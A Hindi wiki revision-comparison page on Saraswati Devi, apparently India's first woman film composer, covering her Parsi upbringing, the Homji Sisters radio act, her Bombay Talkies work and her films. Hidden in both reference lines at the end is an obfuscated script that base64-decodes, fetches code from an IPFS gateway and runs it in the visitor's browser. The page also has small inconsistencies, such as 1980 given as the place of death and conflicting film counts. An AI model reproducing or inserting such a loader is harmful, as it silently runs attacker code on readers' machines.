"सरस्वती देवी (संगीतकार)" के अवतरणों में अंतर

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'''सरस्वती देवी''' ([[अंग्रेज़ी]]: ''Saraswati Devi'', मूल नाम- खुर्शीद मिनोखर होमजी, जन्म: [[1912]], [[मुम्बई]]; मृत्यु: [[10 अगस्त]], [[1980]]) [[भारत]] की पहली महिला संगीतकार थीं, जिन्होंने [[1930]] और [[1940]] के दशक में [[हिंदी]] सिनेमा में काम किया था। वह बॉम्बे टॉकीज़ के साथ काम करने वाली कुछ महिला संगीतकारों में से एक थीं। सरस्वति देवी ने [[1936]] में पहली बार फ़िल्म 'जीवन नैया' संगीत दिया था। इसके अलावा 'अछूत कन्या', 'बंधन', 'नया संसार', 'प्रार्थना', 'भक्त रैदास', 'पृथ्वी वल्लभ', 'खानदानी', 'नकली हीरा', 'उषा हरण' जैसी फ़िल्मों में संगीत दिए।<ref>{{cite web |url=http://hindi.news18.com/news/entertainment/bollywood/181319.html |title=सिनेमा के सौ साल, भुला दी गईं पहली महिला संगीतकार  |accessmonthday=15 जून |accessyear=2017 |last= |first= |authorlink= |format= |publisher=hindi.news18.com |language=हिंदी }}</ref>
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'''सरस्वती देवी''' ([[अंग्रेज़ी]]: ''Saraswati Devi'', मूल नाम- खुर्शीद मिनोखर होमजी, जन्म: [[1912]], [[मुम्बई]]; मृत्यु: [[10 अगस्त]], [[1980]]) [[भारत]] की पहली महिला संगीतकार थीं। जिन्होंने [[1930]] और [[1940]] के दशक में [[हिंदी]] सिनेमा में काम किया था। वह बॉम्बे टॉकीज़ के साथ काम करने वाली कुछ महिला संगीतकारों में से एक थीं। सरस्वति देवी ने [[1936]] में पहली बार फ़िल्म 'जीवन नैया' संगीत दिया था। इसके अलावा 'अछूत कन्या', 'बंधन', 'नया संसार', 'प्रार्थना', 'भक्त रैदास', 'पृथ्वी वल्लभ', 'खानदानी', 'नकली हीरा', 'उषा हरण' जैसी फ़िल्मों में संगीत दिए।<ref>{{cite web |url=http://hindi.news18.com/news/entertainment/bollywood/181319.html |title=सिनेमा के सौ साल, भुला दी गईं पहली महिला संगीतकार  |accessmonthday=15 जून |accessyear=2017 |last= |first= |authorlink= |format= |publisher=hindi.news18.com |language=हिंदी }}</ref>
 
 
==परिचय==
 
==परिचय==
 
सरस्वती देवी का जन्म मुम्बई के एक संपन्न और सम्मानित [[पारसी]] [[परिवार]] में हुआ था। उनका मूल नाम खुर्शीद मिनोखर होमजी था। [[संगीत]] के प्रति उनका प्रेम देखते हुए उनके पिता ने प्रख्यात संगीताचार्य [[विष्णु नारायण भातखंडे]] के मार्गदर्शन में उन्हें [[शास्त्रीय संगीत]] की शिक्षा दिलाई। बाद में [[लखनऊ]] के मॉरिस कॉलेज में उन्होंने संगीत की पढ़ाई की।<ref>{{cite web |url=http://www.udayindia.in/hindi/?p=7532|title=
 
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==कॅरियर की शुरुआत==
 
==कॅरियर की शुरुआत==
 
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[[1920]] के दशक में जब [[मुम्बई]] में रेडियो स्टेशन खुला, तो वहां खुर्शीद अपनी बहन मानेक के साथ मिलकर होमजी सिस्टर्स के नाम से नियमित रूप से संगीत के कार्यक्रम पेश किया करती थीं। उनका कार्यक्रम बहुत लोकप्रिय हो गया था। इसी कार्यक्रम की सफलता को देखते हुए हिमांशु राय ने जब बॉम्बे टॉकीज शुरू किया, तो उन्होंने खुर्शीद को अपने स्टूडियो के संगीत कक्ष में बुलाया और उसका कार्यभार उन्हें सौंप दिया। यह एक चुनौती भरा काम था और उन्होंने इसे स्वीकार कर लिया। वहीं 'सरस्वती देवी' के रूप में उनका नया नामकरण भी हुआ। उनकी पहली फ़िल्म का नाम था ‘जवानी की हवा’ इसमें उनकी बहन मानेक ने भी चंद्रप्रभा के नाम से एक प्रमुख भूमिका निभाई थी। पहली फ़िल्म 'जवानी की हवा' के लिए संगीत तैयार करते हुए सरस्वती देवी को पता चल गया था कि यह आसान काम नहीं है, क्योंकि फ़िल्म के नायक नजमुल हुसैन और नायिका देविका रानी को गाने का कोई अभ्यास नहीं था। आसान धुनों को भी उनसे गवाने में खासी मेहनत करनी पड़ रही थी। इस फ़िल्म का सिर्फ़ एक ही गाना ग्रामोफोन रिकॉर्ड पर उपलब्ध है। गाने के बोल है- ‘सखी री मोहे प्रेम का सार बता दे’। संगीत वाद्यों के रूप में [[तबला]], [[सारंगी]], [[सितार]] और जलतरंग का इस्तेमाल किया गया था। इस गाने में नजमुल हुसैन और देविका रानी के अलावा चंद्रप्रभा की आवाजें भी हैं।
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[[1920]] के दशक में जब [[मुम्बई]] में रेडियो स्टेशन खुला, तो वहां खुर्शीद अपनी बहन मानेक के साथ मिलकर होमजी सिस्टर्स के नाम से नियमित रूप से संगीत के कार्यक्रम पेश किया करती थीं। उनका कार्यक्रम बहुत लोकप्रिय हो गया था। इसी कार्यक्रम की सफलता को देखते हुए हिमांशु राय ने जब बॉम्बे टॉकीज शुरू किया, तो उन्होंने खुर्शीद को अपने स्टूडियो के संगीत कक्ष में बुलाया और उसका कार्यभार उन्हें सौंप दिया। यह एक चुनौती भरा काम था और उन्होंने इसे स्वीकार कर लिया। वहीं 'सरस्वती देवी' के रूप में उनका नया नामकरण भी हुआ। उनकी पहली फ़िल्म का नाम था ‘जवानी की हवा’ इसमें उनकी बहन मानेक ने भी चंद्रप्रभा के नाम से एक प्रमुख भूमिका निभाई थी।
 
====प्रसिद्ध फ़िल्म====
 
====प्रसिद्ध फ़िल्म====
 
सरस्वती देवी ने करीब 20 फ़िल्मों में संगीत दिया था। उन्होंने [[1936]] में पहली बार फ़िल्म 'जीवन नैया' संगीत दिया था। इसके अलावा 'अछूत कन्या', 'बंधन', 'नया संसार', 'प्रार्थना', 'भक्त रैदास', 'पृथ्वी वल्लभ', 'खानदानी', 'नकली हीरा', 'उषा हरण' जैसी फ़िल्मों में संगीत दिए। उन्होंने कुल तीस फ़िल्मों में काम किया और करीब डेढ़ सौ गीतों को अपने संगीत से संवारा।
 
सरस्वती देवी ने करीब 20 फ़िल्मों में संगीत दिया था। उन्होंने [[1936]] में पहली बार फ़िल्म 'जीवन नैया' संगीत दिया था। इसके अलावा 'अछूत कन्या', 'बंधन', 'नया संसार', 'प्रार्थना', 'भक्त रैदास', 'पृथ्वी वल्लभ', 'खानदानी', 'नकली हीरा', 'उषा हरण' जैसी फ़िल्मों में संगीत दिए। उन्होंने कुल तीस फ़िल्मों में काम किया और करीब डेढ़ सौ गीतों को अपने संगीत से संवारा।

10:26, 21 जून 2017 का अवतरण

Disamb2.jpg सरस्वती एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- सरस्वती (बहुविकल्पी)

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सरस्वती देवी विषय सूची
सरस्वती देवी (संगीतकार)
सरस्वती देवी
पूरा नाम खुर्शीद मिनोखर होमजी
प्रसिद्ध नाम सरस्वती देवी
जन्म 1912
जन्म भूमि मुम्बई
मृत्यु 10 अगस्त
मृत्यु स्थान 1980
कर्म भूमि मुम्बई
कर्म-क्षेत्र संगीतकार (हिंदी सिनेमा)
मुख्य फ़िल्में 'जीवन नैया', 'अछूत कन्या', 'बंधन', 'नया संसार', 'प्रार्थना', 'भक्त रैदास', 'पृथ्वी वल्लभ', 'खानदानी', 'नकली हीरा', 'उषा हरण'
शिक्षा संगीत
विद्यालय मॉरिस कॉलेज, लखनऊ
प्रसिद्धि भारत की पहली महिला संगीतकार
नागरिकता भारतीय
अन्य जानकारी सरस्वती देवी की 1961 में आखिरी फ़िल्म राजस्थानी की ‘बसरा री लाडी’ थी, इसके बाद उन्होंने हिंदी फ़िल्मों को अलविदा कह दिया और संगीत सिखाने का काम हाथ में ले लिया।
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सरस्वती देवी (अंग्रेज़ी: Saraswati Devi, मूल नाम- खुर्शीद मिनोखर होमजी, जन्म: 1912, मुम्बई; मृत्यु: 10 अगस्त, 1980) भारत की पहली महिला संगीतकार थीं, जिन्होंने 1930 और 1940 के दशक में हिंदी सिनेमा में काम किया था। वह बॉम्बे टॉकीज़ के साथ काम करने वाली कुछ महिला संगीतकारों में से एक थीं। सरस्वति देवी ने 1936 में पहली बार फ़िल्म 'जीवन नैया' संगीत दिया था। इसके अलावा 'अछूत कन्या', 'बंधन', 'नया संसार', 'प्रार्थना', 'भक्त रैदास', 'पृथ्वी वल्लभ', 'खानदानी', 'नकली हीरा', 'उषा हरण' जैसी फ़िल्मों में संगीत दिए।[1]

परिचय

सरस्वती देवी का जन्म मुम्बई के एक संपन्न और सम्मानित पारसी परिवार में हुआ था। उनका मूल नाम खुर्शीद मिनोखर होमजी था। संगीत के प्रति उनका प्रेम देखते हुए उनके पिता ने प्रख्यात संगीताचार्य विष्णु नारायण भातखंडे के मार्गदर्शन में उन्हें शास्त्रीय संगीत की शिक्षा दिलाई। बाद में लखनऊ के मॉरिस कॉलेज में उन्होंने संगीत की पढ़ाई की।[2]

कॅरियर की शुरुआत

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1920 के दशक में जब मुम्बई में रेडियो स्टेशन खुला, तो वहां खुर्शीद अपनी बहन मानेक के साथ मिलकर होमजी सिस्टर्स के नाम से नियमित रूप से संगीत के कार्यक्रम पेश किया करती थीं। उनका कार्यक्रम बहुत लोकप्रिय हो गया था। इसी कार्यक्रम की सफलता को देखते हुए हिमांशु राय ने जब बॉम्बे टॉकीज शुरू किया, तो उन्होंने खुर्शीद को अपने स्टूडियो के संगीत कक्ष में बुलाया और उसका कार्यभार उन्हें सौंप दिया। यह एक चुनौती भरा काम था और उन्होंने इसे स्वीकार कर लिया। वहीं 'सरस्वती देवी' के रूप में उनका नया नामकरण भी हुआ। उनकी पहली फ़िल्म का नाम था ‘जवानी की हवा’ इसमें उनकी बहन मानेक ने भी चंद्रप्रभा के नाम से एक प्रमुख भूमिका निभाई थी।

प्रसिद्ध फ़िल्म

सरस्वती देवी ने करीब 20 फ़िल्मों में संगीत दिया था। उन्होंने 1936 में पहली बार फ़िल्म 'जीवन नैया' संगीत दिया था। इसके अलावा 'अछूत कन्या', 'बंधन', 'नया संसार', 'प्रार्थना', 'भक्त रैदास', 'पृथ्वी वल्लभ', 'खानदानी', 'नकली हीरा', 'उषा हरण' जैसी फ़िल्मों में संगीत दिए। उन्होंने कुल तीस फ़िल्मों में काम किया और करीब डेढ़ सौ गीतों को अपने संगीत से संवारा।

निधन

सरस्वती देवी का निधन 10 अगस्त, 1980 को हो गया था।

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टीका टिप्पणी और संदर्भ

  1. सिनेमा के सौ साल, भुला दी गईं पहली महिला संगीतकार (हिंदी) hindi.news18.com। अभिगमन तिथि: 15 जून, 2017।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. पहली महिला संगीतकार, सरस्वती देवी (हिंदी) www.udayindia.in। अभिगमन तिथि: 15 जून, 2017।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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